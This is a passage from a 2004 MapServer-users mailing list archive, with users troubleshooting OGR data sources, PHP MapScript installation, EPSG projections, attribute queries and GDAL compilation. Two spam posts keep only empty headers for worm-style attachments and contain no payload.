----------sjpzdvymxlxzsaxzhxgy Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------sjpzdvymxlxzsaxzhxgy Content-Type: application/octet-stream; name="I_search_for_you.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="I_search_for_you.vbs" ----------sjpzdvymxlxzsaxzhxgy-- From siki at agt.bme.hu Sat May 22 15:21:23 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Sat, 22 May 2004 21:21:23 -0100 (GMT+1) Subject: [Mapserver-users] OGR MapInfo tab {Scanned} Message-ID: Hi folks, I would like to use MapInfo tab layers in mapserver. Running Mapserver on a linux box everything is OK, but I have to use a windows box. A get the following from mapserver: msDrawMap(): Image handling error. Failed to draw layer named 'telek'. msOGRFileOpen(): OGR error. Open failed for OGR connection `c:/Program Files/Apache Group/Apache2/htdocs/xxii/teljes/telek.TAB'. File not found or unsupported format. Using ogrinfo on the same file I got: ogrinfo "c:\Program Files\Apache Group\apache2\htdocs\xxii\teljes\telek.tab" Had to open data source read-only. INFO: Open of `c:\Program Files\Apache Group\apache2\htdocs\xxii\teljes\telek.tab' using driver `MapInfo File' successful. 1: telek (Polygon) OGR is supported: mapserv.exe -v MapServer version 4.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE If I convert the tab file into esri shape then everything is OK. I have tried relative and absolute path in the connection string. Any idea? Thanks Zoltan My Map file: NAME budafok EXTENT 642000 225000 651000 234000 SIZE 600 600 IMAGETYPE png SHAPEPATH "c:/Program Files/Apache Group/Apache2/htdocs/xxii" FONTSET "c:/Program Files/Apache Group/Apache2/htdocs/xxii/fonts.lst" SYMBOLSET "c:/Program Files/Apache Group/Apache2/htdocs/xxii/xxii.sym" UNITS meters WEB TEMPLATE "xxii_template.html" IMAGEPATH "c:/Program Files/Apache Group/Apache2/htdocs/xxii/tmp/" IMAGEURL "/xxii/tmp/" HEADER "xxii_header.html" FOOTER "xxii_footer.html" MAXSCALE 100000 MINSCALE 100 END # SCALEBAR IMAGECOLOR 0 0 255 LABEL COLOR 0 0 0 SIZE TINY END STYLE 0 SIZE 350 10 COLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS METERS INTERVALS 5 TRANSPARENT TRUE STATUS TRUE END # overview map REFERENCE IMAGE xxiiref.png EXTENT 642380 225000 650400 234000 SIZE 325 363 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END # LEGEND KEYSIZE 16 12 LABEL TYPE BITMAP SIZE TINY COLOR 0 0 0 END STATUS ON END # photos LAYER NAME "raszter2002" TILEINDEX "raszter/2002/raszter2002.shp" TILEITEM "Location" # MINSCALE 999 STATUS ON TYPE RASTER END # parcelsB LAYER NAME "telek" CONNECTIONTYPE OGR CONNECTION "c:/Program Files/Apache Group/Apache2/htdocs/xxii/teljes/telek.tab" DATA "teljes/telek.shp" STATUS ON GROUP "telkek" TYPE POLYGON CLASSITEM KOZTER_KOD CLASS EXPRESSION /0/ NAME 'Mag?nter?let' COLOR -1 -1 -1 OUTLINECOLOR 0 0 0 TEMPLATE "telek_cim.html" END CLASS EXPRESSION /[12]/ NAME 'K?zter?let' COLOR 198 198 198 OUTLINECOLOR 0 0 0 TEMPLATE "telek_cim.html" END HEADER "telek_cim_header.html" FOOTER "telek_cim_footer.html" END END # end of map file From ter-haseborg at sf-datentechnik.de Sun May 23 16:26:04 2004 From: ter-haseborg at sf-datentechnik.de (Ter-haseborg) Date: Mon, 24 May 2004 00:26:04 +0100 Subject: [Mapserver-users] Re: Hi Message-ID: ----------qmlcovybktmtotyhkvav Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------qmlcovybktmtotyhkvav Content-Type: application/octet-stream; name="You_are_dismissed.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="You_are_dismissed.com" ----------qmlcovybktmtotyhkvav-- From m.meier at spiekermann.de Sun May 23 22:27:40 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Mon, 24 May 2004 07:27:40 +0200 Subject: [Mapserver-users] perl/mapscript: gd pointer to imageObj ? In-Reply-To: <20040521192732.1C1F11A659B@mail.medinaco.org> References: <20040521192732.1C1F11A659B@mail.medinaco.org> Message-ID: <40B187CC.4060001@spiekermann.de> Thank you all for the answers. I'll try the solution with reopen the image file. My images are not so very large. Manfred From EZS at DeStraat.NL Sun May 23 23:13:11 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Mon, 24 May 2004 08:13:11 +0200 Subject: [Mapserver-users] problems loading mapscript dll Message-ID: The problem is probably not the php_mapscript_4.0.2.dll but one of it's dependent dll's. Make sure you copied the dll's that come with the PHP installer from c:/php/dlls to the windows system directory (c:/winnt/system32). Especially make sure iconv.dll is there. Also check that the IUSR has sufficient rights on the c:/php/extensions directory. A handy tool to check dependencies on the fly is filemon from www.sysinternals.com Run it, put a filter on the php_mapscript_4.0.2.dll and check for error messages with missing dll's (file not found). Emil >>> "TCHaddad" 05/22/04 01:33am >>> hello all, we're setting up a new server: w2k/IIS5. PHP4.3.4 installed & tested as OK. we put php_mapscript_4.0.2.dll in c:\PHP\extensions\ we set extension_dir directive in php.ini to: extension_dir = "c:\PHP\extensions" when we then test using dl("php_mapscript_4.0.2.dll"); we get the following error: Warning: dl(): Unable to load dynamic library 'c:\PHP\extensions\php_mapscript_4.0.2.dll' - The specified module could not be found. in c:\tmp\test.php on line 2 this seems pretty basic, but after trying several locations we are stumped at this point. Any pointers? thanks, tanya _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From il_vikingo at yahoo.com Mon May 24 00:13:48 2004 From: il_vikingo at yahoo.com (Andrea Rossi) Date: Mon, 24 May 2004 00:13:48 -0700 (PDT) Subject: [Mapserver-users] Installation problem In-Reply-To: <40A24A6B.1080902@dmsolutions.ca> Message-ID: <20040524071348.58620.qmail@web12302.mail.yahoo.com> If I try you command I got this: /usr/local/include/php/Zend/acconfig.h /usr/local/include/php/Zend/zend_config.h /usr/local/include/php/TSRM/acconfig.h /usr/local/include/php/TSRM/tsrm_config.h /usr/local/include/php/ext/xml/expat/winconfig.h /usr/local/include/php/main/php_config.h /usr/local/include/php/acconfig.h /usr/local/include/cpl_config.h /usr/local/src/gd-2.0.23/config.h /usr/local/src/ming-0.3beta1/src/ming_config.h /usr/local/src/php-4.3.6/ext/xml/expat/winconfig.h /usr/local/src/php-4.3.6/ext/mysql/libmysql/my_config.h /usr/local/src/php-4.3.6/ext/bcmath/libbcmath/src/config.h /usr/local/src/php-4.3.6/ext/bcmath/libbcmath/acconfig.h /usr/local/src/php-4.3.6/TSRM/acconfig.h /usr/local/src/php-4.3.6/TSRM/tsrm_config.h /usr/local/src/php-4.3.6/Zend/acconfig.h /usr/local/src/php-4.3.6/Zend/zend_config.h /usr/local/src/php-4.3.6/main/php_config.h /usr/local/src/php-4.3.6/sapi/cgi/libfcgi/include/fcgi_config.h /usr/local/src/php-4.3.6/acconfig.h /usr/local/src/httpd-2.0.49/acconfig.h /usr/local/src/httpd-2.0.49/include/ap_config.h /usr/local/src/httpd-2.0.49/include/http_config.h /usr/local/src/httpd-2.0.49/modules/loggers/mod_log_config.h /usr/local/src/httpd-2.0.49/srclib/pcre/config.h /usr/local/src/httpd-2.0.49/srclib/apr/acconfig.h /usr/local/src/httpd-2.0.49/srclib/apr-util/include/private/apu_config.h /usr/local/src/httpd-2.0.49/srclib/apr-util/xml/expat/acconfig.h /usr/local/src/httpd-2.0.49/srclib/apr-util/xml/expat/lib/winconfig.h /usr/local/src/PDFlib-Lite-5.0.3-Unix-src/libs/pdcore/pc_config.h /usr/local/src/curl-7.11.2/lib/config.h /usr/local/src/curl-7.11.2/src/config.h /usr/local/src/gdal-1.2.0/frmts/gtiff/libgeotiff/geo_config.h /usr/local/src/gdal-1.2.0/frmts/jpeg/libjpeg/jconfig.h /usr/local/src/gdal-1.2.0/port/cpl_config.h /usr/local/apache2/include/ap_config.h /usr/local/apache2/include/http_config.h /usr/local/apache2/include/mod_log_config.h I suppose the file I need is in the line 6... Thank you for any help! --- Daniel Morissette wrote: > Andrea Rossi wrote: > > If I try you solution I get this message: > > > > checking for location of config.h or > php_config.h... > > configure: error: > > !!! Could not find config.h or php_config.h in > > /usr/local. !!! > > !!! Has PHP been configured yet? > > > !!! > > Where is your php_config.h located? What do you get > if you do: > > find /usr/local -name "*config.h" -print > > (Note that the double quotes are important in this > command) > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette > dmorissette at dmsolutions.ca > DM Solutions Group > http://www.dmsolutions.ca/ > ------------------------------------------------------------ > __________________________________ Do you Yahoo!? Yahoo! Domains ? Claim yours for only $14.70/year http://smallbusiness.promotions.yahoo.com/offer From norbert.thieme at ilmenau.baw.de Mon May 24 00:42:46 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 24 May 2004 09:42:46 +0200 Subject: [Mapserver-users] EPSG codes In-Reply-To: References: Message-ID: <40B1A776.1070704@ilmenau.baw.de> Dimeo, Christopher schrieb: > Don't know if this will help, but the database (Access) containing all the > information behind the projections/coordinate systems can be found at the > EPSG site: > > http://www.epsg.org/ > > c > > -----Original Message----- > From: Zamil Murji [mailto:Zamil.Murji at divestco.com] > Sent: Thursday, May 20, 2004 12:16 PM > To: mapserver > Subject: [Mapserver-users] EPSG codes > > > Hello list, > > I am very new to epsg codes and I'm having some difficulty finding the > correct code to use. Currently I am using a 4269 to show all of canada, > however, this makes everything look so disproportionate. I am looking to use > the lambert conical or lambert cylindrical codes, but I can't find them > anywhere. Ideally I would like to use the same projection as the gmap > application on the dmsolutions website. > > Thanks in advance, > Zamil > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > You can also have a look at: http://ocean.csl.co.uk/ there you can find the epsg database online. Regards, Norbert From roberto.stecco at email.it Mon May 24 00:58:09 2004 From: roberto.stecco at email.it (Roberto Stecco) Date: Mon, 24 May 2004 09:58:09 +0200 Subject: [Mapserver-users] analysis - editing ?? Message-ID: <7c180e0cfc47347f015a442c6f5e2074@217.31.112.66> hi list, It's not long since I started working with GIS applications and I would like to know if there's a way to edit the shape files (i.e. create a point, a line or even a polygon) without using ESRI products. I use MapServer 4.01, PHP-MapScript and a PHP graphic tool (P.Mapper). I'd also like to know if a deeper geographical analysis is possible. And how can I do it. Sorry for my english. :-p Thanks. Roberto From hal at mobilegeographics.com Mon May 24 01:05:52 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Mon, 24 May 2004 01:05:52 -0700 Subject: [Mapserver-users] emacs mode for .MAP files Message-ID: I've put together a fairly simple MapServer mode for the Emacs text editor. I've been using the module for a few days now under GNU Emacs and it works pretty well. Haven't tested under XEmacs, but I expect it would work fine there too. You can download the mode at http://www.mobilegeographics.com/mapserver/mapserver-mode.el The main thing this mode does is indentation. Your code will be indented as you type it, or you can reindent/reformat an entire file at once. It also does some keyword highlighting, but I rarely care about that myself so haven't worked that feature very much. Known bug: Constructs like the one below will add an extra indent level: PROJECTION "xxxx" "yyyy" "zzzz" END CLASS .... Instead, use this style: PROJECTION "xxxx" "yyyy" "zzzz" END CLASS (the problem arises for POINTS 1 1 END and anything similar). I don't have this code checked into any CVS, so if you have mods/bugfixes, please email me directly. If you have a MAP file that doesn't format correctly, please send me the file (and a comment about what doesn't work). License for this Emacs mode is the same as the MapServer license (and _not_ the GPL). Hal From norbert.thieme at ilmenau.baw.de Mon May 24 01:26:31 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 24 May 2004 10:26:31 +0200 Subject: [Mapserver-users] search by attributes In-Reply-To: References: Message-ID: <40B1B1B7.80102@ilmenau.baw.de> Janeks Kamerovskis schrieb: > Hi, MapServer users! > > I am beginner in Mapserver. > I successfully created my first mapserver app. with my own data. > > One of things that I am interested to implement in next version > of my map is possibility to make some kind of feature search by attributes > and select or/and zoom to found features. > > Is it possible in MapServer and if is, than could somebody post some info > about how to do it or drop a link to an example! > > Looking forward for your replay, > Janeks Kamerovskis > forestry consultant > Lat-Fin Joint venture SILVA Ltd > tel.+371-7804352 > fax.+371-7804340 > mob.+371-9191109 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I use php/mapscript. If you want to use only CGI this won't help you. With the querybyattributes method in mapscript you can select the the searched features and draw them hilited if you want. I'm also looking for a method to zoom to a selected feature but I haven't found an easy way yet. The only way I see at the moment with mapscript is to use the shapeindex of the query result. With the shapeindex you can use getshape on the layer to get a shape object. You can then use the bounds of the shape object to set a new extent and draw an image with that. I haven't tried it out so I can't tell you how the performance will be. I hope someone can give a better way to do it. Regards, Norbert From janeks.kamerovskis at silva.lv Mon May 24 01:25:48 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Mon, 24 May 2004 11:25:48 +0300 Subject: [Mapserver-users] language codepages fonts and symbols Message-ID: Hi folks, How to get around with problem about language specific letters. For example in map file I have names of clases, but they are not appearing in proper way in legend. The same problem is in labeling. Thanks, Janeks From janeks.kamerovskis at silva.lv Mon May 24 01:28:41 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Mon, 24 May 2004 11:28:41 +0300 Subject: [Mapserver-users] Arcview geodatabase format suuport Message-ID: Does Mapserver supports Arcview geodatabase, or will it be? Janeks From mapserver at geochem.de Mon May 24 01:56:01 2004 From: mapserver at geochem.de (mapserver at geochem.de) Date: Mon, 24 May 2004 10:56:01 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?raster_catalogs_with_4=2E2b3?= Message-ID: <27589417$108538867140b1b77f34ab46.15272604@config18.schlund.de> Hi List, i did some tests with php mapscript 4.2b3 and found that my raster catalogs did not work with this mapserver version. The script which works fine with PHP Mapscript 4.0.2. termined with an internal server error (Premature end of script headers) when i use 4.2b3. The type of the Layer is set to MS_LAYER_RASTER. Do i have to use MS_LAYER_TILEINDEX now (how?) or what do i have to change to use raster catalogs with 4.2b3? Many thanks Nicol From janeks.kamerovskis at silva.lv Mon May 24 03:13:53 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Mon, 24 May 2004 13:13:53 +0300 Subject: [Mapserver-users] search by attributes In-Reply-To: <40B1B1B7.80102@ilmenau.baw.de> Message-ID: As I understood from http://mapserver.gis.umn.edu/doc40/cgi-reference.html#cgi-variables it is possible even with cgi exe but I would like to look in an example or tutor. Of course if I will not find any I'll start to go throught dummy testing cgi variabales and results, probably making some php scripts. If I'll have success with fast results perhaps I will have a time to make an example with short desciptions for other beginers. thanks a lot Janeks > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of > Norbert Thieme > Sent: Monday, May 24, 2004 11:27 AM > To: Janeks Kamerovskis > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] search by attributes > > > Janeks Kamerovskis schrieb: > > Hi, MapServer users! > > > > I am beginner in Mapserver. > > I successfully created my first mapserver app. with my own data. > > > > One of things that I am interested to implement in next version > > of my map is possibility to make some kind of feature search by > attributes > > and select or/and zoom to found features. > > > > Is it possible in MapServer and if is, than could somebody post > some info > > about how to do it or drop a link to an example! > > > > Looking forward for your replay, > > Janeks Kamerovskis > > forestry consultant > > Lat-Fin Joint venture SILVA Ltd > > tel.+371-7804352 > > fax.+371-7804340 > > mob.+371-9191109 > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > Hi, > > I use php/mapscript. If you want to use only CGI this won't help you. > > With the querybyattributes method in mapscript you can select the the > searched features and draw them hilited if you want. > > I'm also looking for a method to zoom to a selected feature but I > haven't found an easy way yet. The only way I see at the moment with > mapscript is to use the shapeindex of the query result. With the > shapeindex you can use getshape on the layer to get a shape object. You > can then use the bounds of the shape object to set a new extent and draw > an image with that. > > I haven't tried it out so I can't tell you how the performance will be. > > I hope someone can give a better way to do it. > > Regards, > Norbert > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From janeks.kamerovskis at silva.lv Mon May 24 03:23:09 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Mon, 24 May 2004 13:23:09 +0300 Subject: [Mapserver-users] search by attributes In-Reply-To: Message-ID: ups... soory, I found it right in the docs page http://maps.dnr.state.mn.us/mapserver_demos/tests40/itemquery/test.html Janeks > -----Original Message----- > From: Janeks Kamerovskis [mailto:janeks.kamerovskis at silva.lv] > Sent: Monday, May 24, 2004 1:14 PM > To: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] search by attributes > > > As I understood from > http://mapserver.gis.umn.edu/doc40/cgi-reference.html#cgi-variables > > it is possible even with cgi exe but I would like to look in an > example or tutor. > Of course if I will not find any I'll start to go throught dummy > testing cgi variabales and > results, probably making some php scripts. > > If I'll have success with fast results perhaps I will have a time > to make an example with short desciptions > for other beginers. > > thanks a lot > Janeks > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of > > Norbert Thieme > > Sent: Monday, May 24, 2004 11:27 AM > > To: Janeks Kamerovskis > > Cc: mapserver-users at lists.gis.umn.edu > > Subject: Re: [Mapserver-users] search by attributes > > > > > > Janeks Kamerovskis schrieb: > > > Hi, MapServer users! > > > > > > I am beginner in Mapserver. > > > I successfully created my first mapserver app. with my own data. > > > > > > One of things that I am interested to implement in next version > > > of my map is possibility to make some kind of feature search by > > attributes > > > and select or/and zoom to found features. > > > > > > Is it possible in MapServer and if is, than could somebody post > > some info > > > about how to do it or drop a link to an example! > > > > > > Looking forward for your replay, > > > Janeks Kamerovskis > > > forestry consultant > > > Lat-Fin Joint venture SILVA Ltd > > > tel.+371-7804352 > > > fax.+371-7804340 > > > mob.+371-9191109 > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > Hi, > > > > I use php/mapscript. If you want to use only CGI this won't help you. > > > > With the querybyattributes method in mapscript you can select the the > > searched features and draw them hilited if you want. > > > > I'm also looking for a method to zoom to a selected feature but I > > haven't found an easy way yet. The only way I see at the moment with > > mapscript is to use the shapeindex of the query result. With the > > shapeindex you can use getshape on the layer to get a shape object. You > > can then use the bounds of the shape object to set a new extent > and draw > > an image with that. > > > > I haven't tried it out so I can't tell you how the performance will be. > > > > I hope someone can give a better way to do it. > > > > Regards, > > Norbert > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From huub at geodan.nl Mon May 24 04:36:07 2004 From: huub at geodan.nl (Huub) Date: Mon, 24 May 2004 13:36:07 +0200 Subject: [Mapserver-users] very big sld xml Message-ID: <40B1DE27.7070409@geodan.nl> Hi List, We use a sld=http:///...user.xml to display a selection of points. This works great is there are not too many Rules, but it seems to me that when the SLD xml is say 200Kb, mapserver crashes. We saw 8 instances of mapserv.exe in the list of Processes on such occasions. Is there a limit, should an sld.xml be of decent small size, what do100 of the folowing lines (386 characters each) do to the mapserver? kp_nr00770locatedAtcircle#FFFF003.0 Huub -- -- Geodan IT b.v. Buitenhaven 27-A 5211 TP 's-Hertogenbosch (NL) ------------------------------------- Tel: +31 (0)73 - 692 5151 Fax: +31 (0)73 - 692 5150 Mobiel: ------------------------------------- Postadres / mailing address President Kennedylaan 1 1079 MB Amsterdam (NL) ------------------------------------- E-mail: huub.fleuren at geodan.nl Website: www.geodan.nl Disclaimer: www.geodan.nl/disclaimer ------------------------------------- From norbert.thieme at ilmenau.baw.de Mon May 24 05:32:15 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 24 May 2004 14:32:15 +0200 Subject: [Mapserver-users] raster catalogs with 4.2b3 In-Reply-To: <27589417$108538867140b1b77f34ab46.15272604@config18.schlund.de> References: <27589417$108538867140b1b77f34ab46.15272604@config18.schlund.de> Message-ID: <40B1EB4F.5030205@ilmenau.baw.de> mapserver at geochem.de schrieb: > Hi List, > > i did some tests with php mapscript 4.2b3 and found that my raster > catalogs did not work with this mapserver version. > The script which works fine with PHP Mapscript 4.0.2. termined with an > internal server error (Premature end of script headers) when i use > 4.2b3. > The type of the Layer is set to MS_LAYER_RASTER. Do i have to use > MS_LAYER_TILEINDEX now (how?) or what do i have to change to use raster > catalogs with 4.2b3? > > Many thanks Nicol > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, sounds like a problem I had a few weeks ago. My scripts all worked well with v4.0.2 and .tif's but when I upgraded I get the same server error. The problem was that I compiled mapserver with "regular" TIF support and GDAL TIF support. If there are both you might get that problem so look in the output of mapserv -v. If you have both then it would be better to compile the mapserver again with "--without-tiff" option. I did that and all work fine again. Regards, Norbert From David.Fawcett at state.mn.us Mon May 24 07:20:30 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Mon, 24 May 2004 09:20:30 -0500 Subject: [Mapserver-users] Negative Tolerance? Message-ID: What are you trying to accomplish? I don't believe that it would be appropriate or possible to use a negative TOLERANCE value, as it defines the radius (in pixels) around a point. I can't picture a circle with a negative radius. David. David J. Fawcett MN Office of Environmental Assistance >>> "Ryan, Adam" 5/21/2004 12:25:49 PM >>> List, Is it possible to use a negative number for a layer's TOLERANCE value? I can't seem to make it work. Thanks. Adam _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ARyan at co.linn.or.us Mon May 24 08:15:46 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Mon, 24 May 2004 08:15:46 -0700 Subject: [Mapserver-users] Negative Tolerance? Message-ID: <614FCE5F14A6D41180C200010240D6A2668F1F@LINNMS> Thanks for the reply. I negative tolerance is indeed abstract when applied to a point. What I want to do is provide an intersect function; I'm thinking polygons. For example, a user has selected a parcel feature and wants to select all the survey features that lie below it. With a tolerance of 0, all the surveys that only share an edge with the parcel are selected. I want to use a small negative tolerance so that only those surveys that actually lie below it are selected. So far, a negative tolerance is treated as zero. Is there another way to do this? Adam -----Original Message----- From: David Fawcett [mailto:David.Fawcett at state.mn.us] Sent: Monday, May 24, 2004 7:21 AM To: ARyan at co.linn.or.us; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Negative Tolerance? What are you trying to accomplish? I don't believe that it would be appropriate or possible to use a negative TOLERANCE value, as it defines the radius (in pixels) around a point. I can't picture a circle with a negative radius. David. David J. Fawcett MN Office of Environmental Assistance >>> "Ryan, Adam" 5/21/2004 12:25:49 PM >>> List, Is it possible to use a negative number for a layer's TOLERANCE value? I can't seem to make it work. Thanks. Adam _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From alex_jch at hotmail.com Mon May 24 08:40:21 2004 From: alex_jch at hotmail.com (Alex Jaramillo Cherrez) Date: Mon, 24 May 2004 15:40:21 +0000 Subject: [Mapserver-users] shp2pgsql Message-ID: I'll really appreciate any insight. I haven't found how to export data from the dbf tables to sql statements. Most of the information explains how to export the geometry to sql statements but not how to export attributes (from the dbf tables). How can I link tables carrying geometry with tables carrying attributes? Thanks, alex _________________________________________________________________ Charla con tus amigos en l?nea mediante MSN Messenger: http://messenger.latam.msn.com/ From qoelhex at cttmar.univali.br Mon May 24 10:13:06 2004 From: qoelhex at cttmar.univali.br (FABIO COELHO) Date: Mon, 24 May 2004 14:13:06 -0300 Subject: [Mapserver-users] PHP-Mapscript - Compilation error and warnings - HP UX - Resolved Message-ID: <1085418786.40b22d22b8d25@webmail.cttmar.univali.br> Hi Friends After some tests and many searchs, I discover that I need to set an environment variable CPPFLAGS, to -fPIC... and all goes well ! ! ! -- by qoelheX ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From qoelhex at cttmar.univali.br Mon May 24 10:45:41 2004 From: qoelhex at cttmar.univali.br (FABIO COELHO) Date: Mon, 24 May 2004 14:45:41 -0300 Subject: [Mapserver-users] CPL Conv - GDAL Error Message-ID: <1085420741.40b234c54131c@webmail.cttmar.univali.br> Hi dears I'm compiling GDAL on HP-UX and I got this error: bash-2.05$ gmake GNUmakefile:43: warning: overriding commands for target `libgdal.la' GNUmakefile:39: warning: ignoring old commands for target `libgdal.la' (cd port; gmake) gmake[1]: Entering directory `/usr/desen/cunivali/Tar/gdal-1.2.0/port' /bin/sh ../libtool --mode=compile g++ -Wall -O2 -I/opt/univali/include -I../port -c -o cpl_conv.o cpl_conv.cpp g++ -Wall -O2 -I/opt/univali/include -I../port -c cpl_conv.cpp -fPIC -DPIC -o .libs/cpl_conv.o cpl_conv.cpp: In function `char* CPLPrintDouble(char*, const char*, double, char*)': cpl_conv.cpp:904: error: invalid conversion from `const char*' to `char*' gmake[1]: *** [cpl_conv.o] Error 1 gmake[1]: Leaving directory `/usr/desen/cunivali/Tar/gdal-1.2.0/port' gmake: *** [port-target] Error 2 Anyone knows something about? Can be a configuration error ( I use a clean ./configure ) or I'll must to debug the code? Regards -- by qoelheX ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From jenu_ab at hotmail.com Mon May 24 10:59:58 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Mon, 24 May 2004 12:59:58 -0500 Subject: [Mapserver-users] Database Message-ID: Is it possible to use mapserver with MS access or microsoft SQL database for storing lat - longs ? if Yes how? i'm using MS server 2003 and it seems postgresql will not install on it... jenu _________________________________________________________________ Get 200+ ad-free, high-fidelity stations and LIVE Major League Baseball Gameday Audio! http://radio.msn.click-url.com/go/onm00200491ave/direct/01/ From bartvde at xs4all.nl Mon May 24 11:33:57 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Mon, 24 May 2004 20:33:57 +0200 Subject: [Mapserver-users] Database In-Reply-To: References: Message-ID: This must be the top 1 asked question for the last months :) Yes, it is possible, see the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData Best regards, Bart On Mon, 24 May 2004 12:59:58 -0500, Jenu Abraham wrote: > Is it possible to use mapserver with MS access or microsoft SQL database > for storing lat - longs ? > if Yes how? > > i'm using MS server 2003 and it seems postgresql will not install on > it... > > jenu > > _________________________________________________________________ > Get 200+ ad-free, high-fidelity stations and LIVE Major League Baseball > Gameday Audio! > http://radio.msn.click-url.com/go/onm00200491ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From vaiod at berloy.com Mon May 24 12:17:53 2004 From: vaiod at berloy.com (Eric Katherman) Date: Mon, 24 May 2004 12:17:53 -0700 Subject: [Mapserver-users] Adding Data Message-ID: <200405241217.53154.vaiod@berloy.com> What would be the best way to "add data" to a mapset... I would like to be able to click on a given map.. have it store the points I am clicking and when done connect them as a filled polygon with some other tag data associated with it... would like to store all of this in MySQL. What is the best place to start. Thanks, Eric From eric at gomoos.org Mon May 24 13:30:09 2004 From: eric at gomoos.org (Eric Bridger) Date: 24 May 2004 16:30:09 -0400 Subject: [Mapserver-users] Adding Data In-Reply-To: <200405241217.53154.vaiod@berloy.com> References: <200405241217.53154.vaiod@berloy.com> Message-ID: <1085430615.1520.26.camel@ubet.gomoos.org> On Mon, 2004-05-24 at 15:17, Eric Katherman wrote: > What would be the best way to "add data" to a mapset... I would like to be > able to click on a given map.. have it store the points I am clicking and > when done connect them as a filled polygon with some other tag data > associated with it... would like to store all of this in MySQL. What is the > best place to start. You will need to use mapscript, vs. CGI mapserver, to accomplish what you describe. So step one would be to chose your favorite flavor: Python, PHP, Perl, etc. and get it installed. Then there are examples for the various flavors in the Mapserver Wiki for translating a map click into a lat/long point, creating lines and polygons as shapes, etc. I'm not sure what the current status of MySQL is regarding storing such geometries. Postgres with PostGIS could store your geometries along with your tag data. HTH. From Richie.Pierce at arkansas.gov Mon May 24 14:21:52 2004 From: Richie.Pierce at arkansas.gov (Richie Pierce) Date: Mon, 24 May 2004 16:21:52 -0500 Subject: [Mapserver-users] Mapserver and VB Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C441D5.2209E55D Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello, A few weeks back I saw mention of Mapserver being used as a skin within a VB application. I was unable to locate any information from the archives on the subject and thought I'd ask. I've got a stand alone Windows app (not a web app) and was wanting to add Mapserver as a skin. If this is even possible I would be grateful if someone could point me in the right direction. Thanks Richie =20 =20 =20 ------_=_NextPart_001_01C441D5.2209E55D Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello,

